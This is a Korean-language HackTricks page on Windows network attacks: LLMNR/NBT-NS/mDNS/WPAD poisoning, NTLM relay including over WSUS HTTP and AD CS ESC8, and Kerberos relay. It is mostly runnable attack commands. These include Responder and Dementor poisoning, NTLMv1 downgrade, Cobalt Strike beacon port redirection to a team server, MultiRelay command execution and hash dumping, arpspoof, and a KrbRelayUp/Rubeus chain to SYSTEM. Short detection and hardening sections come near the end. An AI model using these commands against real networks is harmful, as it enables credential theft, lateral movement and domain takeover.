Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

네트워크 프로토콜

로컬 호스트 이름 해석 프로토콜

LLMNR, NBT-NS, and mDNS:
Microsoft 및 기타 운영체제는 DNS가 실패할 때 로컬 이름 해석을 위해 LLMNR 및 NBT-NS를 사용합니다. 마찬가지로 Apple 및 Linux 시스템은 mDNS를 사용합니다.
이러한 프로토콜은 인증이 없고 UDP를 통한 브로드캐스트 특성 때문에 가로채기와 스푸핑에 취약합니다.
Responder와 Dementor는 이러한 프로토콜을 쿼리하는 호스트에 위조 응답을 보내 서비스로 가장하는 데 사용할 수 있습니다.
Responder를 사용한 서비스 가장화에 대한 추가 정보는 here에서 확인할 수 있습니다.

Web Proxy Auto-Discovery Protocol (WPAD)

WPAD는 브라우저가 프록시 설정을 자동으로 검색하도록 합니다.
검색은 DHCP, DNS를 통해 이루어지며, DNS가 실패하면 LLMNR 및 NBT-NS로 폴백합니다.
Responder는 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.

Responder/Dementor를 이용한 프로토콜 중독

Responder는 LLMNR, NBT-NS, mDNS 쿼리를 중독(poisoning)시키기 위해 사용되는 도구로, 쿼리 유형에 따라 선택적으로 응답하며 주로 SMB 서비스를 타깃으로 합니다.
Kali Linux에 기본으로 설치되어 있으며 /etc/responder/Responder.conf에서 구성할 수 있습니다.
Responder는 캡처한 해시를 화면에 표시하고 /usr/share/responder/logs 디렉토리에 저장합니다.
IPv4와 IPv6를 모두 지원합니다.
Windows용 Responder 버전은 here에서 확인할 수 있습니다.
Dementor는 멀티캐스트 중독(multicast poisoning) 주제를 확장하며 악성 서비스 제공자(예: CUPS RCE 지원) 역할도 합니다.
전체 구조는 Responder와 유사하지만 더 세분화된 구성 옵션을 제공합니다. (기본은 여기: Dementor.toml)
Dementor와 Responder의 호환성은 여기에서 확인할 수 있습니다: Compatibility Matrix
소개 및 문서는 여기: Dementor - Docs
특정 프로토콜에서 Responder가 도입한 캡처 문제를 수정합니다.

Responder 실행

기본 설정으로 Responder를 실행하려면: responder -I <Interface>
더 적극적인 탐침(부작용 가능)을 원할 경우: responder -I <Interface> -P -r -v
더 쉬운 크래킹을 위해 NTLMv1 챌린지/응답을 캡처하는 기법: responder -I <Interface> --lm --disable-ess
WPAD 가장화를 활성화하려면: responder -I <Interface> --wpad
NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정하려면: responder.py -I <interface> -Pv

Dementor 실행

기본 설정으로 실행: Dementor -I <interface>
분석 모드의 기본 설정으로 실행: Dementor -I <interface> -A
자동 NTLM 세션 다운그레이드 (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
사용자 지정 구성으로 현재 세션 실행: Dementor -I <interface> --config <file.toml>

Responder를 이용한 DHCP 중독

DHCP 응답을 위조하면 피해자의 라우팅 정보를 영구적으로 중독시켜 ARP 중독보다 더 은밀한 대안이 될 수 있습니다.
이를 위해서는 대상 네트워크 구성에 대한 정확한 지식이 필요합니다.
공격 실행 예: ./Responder.py -I eth0 -Pdv
이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만 네트워크 중단을 피하기 위해 신중한 처리가 필요합니다.

Responder/Dementor로 자격증명 캡처

Responder/Dementor는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 인증을 시도할 때 자격증명(보통 NTLMv2 Challenge/Response)을 캡처합니다.
NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 크래킹을 쉽게 할 수 있도록 시도할 수 있습니다.

If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.

이러한 기술을 사용할 때에는 적법하고 윤리적인 절차를 준수하며 적절한 권한을 확보하고 시스템 중단이나 무단 접근을 피해야 한다는 점을 명심해야 합니다.

Inveigh

Inveigh는 Windows 시스템을 대상으로 하는 penetration testers and red teamers를 위한 도구로, Responder와 유사한 기능을 제공하며 스푸핑 및 MITM 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전했으며, 주요 버전으로는 Inveigh와 InveighZero가 있습니다. 자세한 매개변수와 사용법은 wiki에서 확인할 수 있습니다.

Inveigh는 PowerShell을 통해 운영할 수 있습니다:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

또는 C# 바이너리로 실행:

Inveigh.exe

NTLM Relay Attack

이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공 시 system shell을 획득합니다. 주요 전제 조건은 다음과 같습니다:

인증하는 사용자는 릴레이된 호스트(relayed host)에 대한 Local Admin 접근 권한을 가지고 있어야 합니다.
SMB signing은 비활성화되어 있어야 합니다.

445 Port Forwarding and Tunneling

직접적인 네트워크 도입이 불가능한 상황에서는 포트 445의 트래픽을 포워딩하고 터널링해야 합니다. PortBender와 같은 도구는 포트 445 트래픽을 다른 포트로 리디렉션하는 데 도움이 되며, 이는 드라이버 로드를 위해 Local Admin 접근 권한이 있을 때 필수적입니다.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Other Tools for NTLM Relay Attack

Metasploit: 프록시와 로컬/원격 호스트 정보를 설정해 사용.
smbrelayx: SMB 세션을 중계하고 명령 실행 또는 백도어 배포를 수행하는 Python 스크립트.
MultiRelay: Responder 스위트의 도구로, 특정 사용자 또는 모든 사용자를 중계하고 명령 실행이나 해시 덤프가 가능.

각 도구는 필요 시 SOCKS proxy를 통해 동작하도록 구성할 수 있어, 간접적인 네트워크 접근만으로도 공격을 수행할 수 있다.

MultiRelay Operation

MultiRelay는 /usr/share/responder/tools 디렉토리에서 실행되며, 특정 IP나 사용자를 대상으로 한다.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

RelayKing – 릴레이 가능한 타깃 탐지 및 선별된 릴레이 목록

RelayKing은 NTLM relay 노출 감사 도구로, 릴레이가 가능한 위치를 매핑하고 ntlmrelayx.py -tf에서 바로 사용할 수 있는 대상 목록을 생성합니다. SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth 등의 프로토콜 경화 상태를 검사하고 PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection 같은 coercion/reflection helpers를 표시합니다.

인증은 HTTPS/LDAPS CBT 및 MSSQL EPA 검사에서 신뢰도를 높입니다; SMB signing/signature 수준은 비인증 상태에서 탐지됩니다.
교차 프로토콜 릴레이 경로화는 확인된 Net-NTLMv1 (--ntlmv1/--ntlmv1-all) 결과를 활용하며, 경로별 심각도 순위가 제공됩니다.
--gen-relay-list <file>은 ntlmrelayx.py -tf <file>용으로 grep 친화적인 대상 목록을 작성하여 시행착오를 줄입니다.
--coerce-all은 모든 대상에 대해 PetitPotam/DFSCoerce/PrinterBug를 대량으로 유발합니다; --ntlmv1-all (RemoteRegistry) 및 --audit (도메인 전체 LDAP 호스트 조회)은 noisy하며 많은 로그온/원격 접근을 생성합니다.
--proto-portscan은 닫힌 포트를 건너뛰어 스캔 속도를 높입니다; --krb-dc-only는 DC가 NTLM을 차단하지만 다른 서비스는 여전히 수락하는 경우에 유용합니다.

Example sweeps:

# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt

# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24

이 도구들과 기법들은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 제공합니다.

WSUS HTTP (8530) 악용하여 NTLM Relay로 LDAP/SMB/AD CS (ESC8) 대상

WSUS 클라이언트는 NTLM을 통해 HTTP(8530) 또는 HTTPS(8531)로 업데이트 서버에 인증합니다. HTTP가 활성화되어 있으면 로컬 세그먼트에서 주기적인 클라이언트 체크인이 강제되거나 가로채져 ntlmrelayx로 LDAP/LDAPS/SMB 또는 AD CS HTTP 엔드포인트(ESC8)로 릴레이될 수 있으며 해시를 크랙할 필요가 없습니다. 이는 정상적인 업데이트 트래픽에 섞여 들어가 종종 머신 계정 인증(HOST$)을 얻습니다.

확인할 항목

HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 및 …\WindowsUpdate\AU 아래의 GPO/레지스트리 설정:
WUServer (예: http://wsus.domain.local:8530)
WUStatusServer (보고 URL)
UseWUServer (1 = WSUS; 0 = Microsoft Update)
DetectionFrequencyEnabled 및 DetectionFrequency (시간 단위)
클라이언트가 HTTP로 사용하는 WSUS SOAP endpoints:
/ClientWebService/client.asmx (approvals)
/ReportingWebService/reportingwebservice.asmx (status)
기본 포트: 8530/tcp HTTP, 8531/tcp HTTPS

정찰

Unauthenticated
리스너 스캔: nmap -sSVC -Pn –open -p 8530,8531 -iL
L2 MITM를 통해 HTTP WSUS 트래픽을 스니핑하고 wsusniff.py로 활성 클라이언트/엔드포인트를 기록(클라이언트가 TLS cert을 신뢰하게 할 수 없는 한 HTTP만 해당).
Authenticated
MANSPIDER + regpol로 SYSVOL GPO에서 WSUS 키 파싱 (wsuspider.sh 래퍼가 WUServer/WUStatusServer/UseWUServer를 요약).
호스트(대규모) 또는 로컬에서 엔드포인트 질의: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay 단계

클라이언트가 WSUS 서버를 여러분으로 해석하도록 MITM 위치 확보(같은 L2) (ARP/DNS poisoning, Bettercap, mitm6 등). arpspoof 예: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>
포트 8530을 릴레이 리스너로 리디렉션(선택사항, 편의): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers
HTTP 리스너로 ntlmrelayx 시작(HTTP 리스너를 위한 Impacket 지원 필요; 아래 PR 참조): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

기타 일반 대상:

exec/dump를 위해 SMB로 릴레이(만약 signing이 꺼져 있다면): -t smb://
디렉터리 변경을 위해 LDAPS로 릴레이(예: RBCD): -t ldaps://
AD CS 웹 등록(ESC8)로 릴레이하여 인증서를 발급받고 이후 Schannel/PKINIT로 인증: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server AD CS 남용 경로와 도구에 대해서는 AD CS 페이지 참조:

AD CS Domain Escalation

클라이언트 체크인을 트리거하거나 스케줄을 기다립니다. 클라이언트에서: wuauclt.exe /detectnow 또는 Windows Update UI에서 (Check for updates) 사용.
인증된 SOCKS 세션(만약 -socks 사용) 또는 직접 릴레이 결과를 포스트 익스플로잇에 사용(LDAP 변경, SMB 작업, 또는 이후 인증을 위한 AD CS 인증서 발급).

HTTPS 제약(8531)

클라이언트가 여러분의 인증서를 신뢰하지 않는 한 HTTPS로 된 WSUS의 수동 가로채기는 효과적이지 않습니다. 신뢰된 cert이나 다른 TLS 분해 수단 없이는 WSUS HTTPS 트래픽에서 NTLM 핸드셰이크를 수집/릴레이할 수 없습니다.

노트

WSUS는 deprecated로 발표되었지만 여전히 널리 배포되어 있으며 많은 환경에서 HTTP(8530)가 흔합니다.
유용한 도구: wsusniff.py (HTTP WSUS 체크인을 관찰), wsuspider.sh (GPO에서 WUServer/WUStatusServer 열거), 대규모 NetExec reg-query.
Impacket은 PR #2034에서 ntlmrelayx에 대한 HTTP 리스너 지원을 복구함(원래 PR #913에서 추가됨).

NTLM 로그인 강제

Windows에서는 일부 권한 있는 계정을 임의의 머신에 인증하도록 강제할 수 있는 경우가 있습니다. 방법을 알아보려면 다음 페이지를 읽으세요:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack은 한 서비스에서 AP-REQ ticket을 훔쳐 동일한 computer-account key를 공유하는(두 SPN이 동일한 $ 머신 계정에 있기 때문에) 두 번째 서비스에 재사용합니다. 이는 SPN의 service class가 다르더라도(e.g. CIFS/ → LDAP/) 동작하는데, 티켓을 복호화하는 키가 SPN 문자열 자체가 아닌 머신의 NT hash이기 때문이며 SPN 문자열은 서명의 일부가 아닙니다.

NTLM relay와 달리 홉은 같은 호스트로 제한되지만, LDAP에 쓰기 가능한 프로토콜을 목표로 하면 Resource-Based Constrained Delegation (RBCD) 또는 AD CS enrollment로 이어져 단번에 NT AUTHORITY\SYSTEM을 획득할 수 있습니다.

이 공격에 대한 자세한 정보는 다음을 확인하세요:

Token	Purpose	Relay relevance
TGT / AS-REQ ↔ REP	사용자를 KDC에 증명	변경 없음
Service ticket / TGS-REQ ↔ REP	하나의 SPN에 바인딩; SPN 소유자의 키로 암호화	동일 계정을 공유하면 교체 가능
AP-REQ	클라이언트가 서비스에 `TGS`를 전송	우리가 훔쳐서 재생하는 것

티켓은 SPN을 소유한 계정의 비밀번호 유도 키로 암호화됩니다.
AP-REQ 내부의 Authenticator는 5분 타임스탬프를 가지며, 해당 창 내에서 재생하면 서비스 캐시가 중복을 감지할 때까지 유효합니다.
Windows는 티켓의 SPN 문자열이 여러분이 접근한 서비스와 일치하는지 거의 검사하지 않으므로, 일반적으로 CIFS/HOST용 티켓이 LDAP/HOST에서 정상적으로 복호화됩니다.

1. Kerberos를 릴레이하려면 무엇이 참이어야 하는가

공유 키: 출발지와 대상 SPN이 동일한 컴퓨터 계정에 속해야 함(Windows 서버의 기본 설정).
채널 보호 없음: SMB/LDAP signing 꺼짐 및 HTTP/LDAPS에 대한 EPA 꺼짐.
인증을 가로채거나 강제할 수 있어야 함: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM 등.
티켓 출처가 이미 사용되지 않음: 실제 패킷이 도달하기 전에 레이스에서 이기거나 완전히 차단해야 함; 그렇지 않으면 서버의 재생 캐시가 Event 4649를 기록합니다.
통신에서 MitM을 수행할 수 있어야 함 — 예를 들어 DNS를 수정할 수 있는 DNSAdmins 그룹의 일원이거나 피해자의 HOST 파일을 변경할 수 있어야 함.

Kerberos Relay Steps

3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

3.2 릴레이 리스너 시작

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp은 KrbRelay → LDAP → RBCD → Rubeus → SCM bypass를 하나의 binary로 묶어 제공합니다.

3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce는 DC가 Kerberos CIFS/DC01 티켓을 우리에게 보내게 한다.

3.4 Relay the AP-REQ

KrbRelay는 SMB에서 GSS blob을 추출해 LDAP bind로 재포장한 뒤 ldap://DC01로 전달한다—인증은 같은 키로 복호화되기 때문에 성공한다.

3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

이제 NT AUTHORITY\SYSTEM 권한을 획득했습니다.

알아둘 가치가 있는 추가 경로

Vector	Trick	Why it matters
AuthIP / IPSec	가짜 서버가 임의의 SPN을 포함한 GSS-ID payload를 전송; 클라이언트가 당신에게 직접 AP-REQ를 생성	서브넷 간에도 동작; 기본적으로 machine creds
DCOM / MSRPC	악성 OXID resolver가 클라이언트를 임의의 SPN과 포트로 인증하도록 강제	순수한 로컬 priv-esc; 방화벽 우회
AD CS Web Enroll	machine 티켓을 `HTTP/CA`로 릴레이하여 인증서 획득, 그 후 PKINIT으로 TGTs 생성	LDAP 서명 방어 우회
Shadow Credentials	`msDS-KeyCredentialLink`에 작성한 후, 위조 키 쌍으로 PKINIT 실행	컴퓨터 계정을 추가할 필요 없음

문제 해결

Error	Meaning	Fix
`KRB_AP_ERR_MODIFIED`	티켓 키 ≠ 대상 키	잘못된 호스트/SPN
`KRB_AP_ERR_SKEW`	시스템 시계 오차 > 5분	시간 동기화 또는 `w32tm` 사용
LDAP bind fails	서명 강제	AD CS 경로 사용 또는 서명 비활성화
Event 4649 spam	서비스가 중복 Authenticator를 감지	원본 패킷 차단 또는 레이스(race)

탐지

몇 초 내에 동일 출처에서 CIFS/, HTTP/, LDAP/에 대한 Event 4769 급증.
서비스에서의 Event 4649는 재생(replay) 감지를 의미.
로컬 SCM으로의 릴레이인 127.0.0.1에서의 Kerberos 로그온은 매우 의심스러움—KrbRelayUp 문서의 Sigma 규칙으로 매핑하세요.
msDS-AllowedToActOnBehalfOfOtherIdentity 또는 msDS-KeyCredentialLink 속성 변경을 주시하세요.

강화

LDAP & SMB 서명 + EPA를 모든 서버에서 강제 적용.
SPNs 분리: HTTP가 CIFS/LDAP와 동일 계정에 있지 않도록.
강제(coercion) 벡터 패치 (PetitPotam KB5005413, DFS, AuthIP).
무단 컴퓨터 가입 차단을 위해 ms-DS-MachineAccountQuota = 0 설정.
Event 4649 및 예기치 않은 루프백 Kerberos 로그온에 대해 경보 설정.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.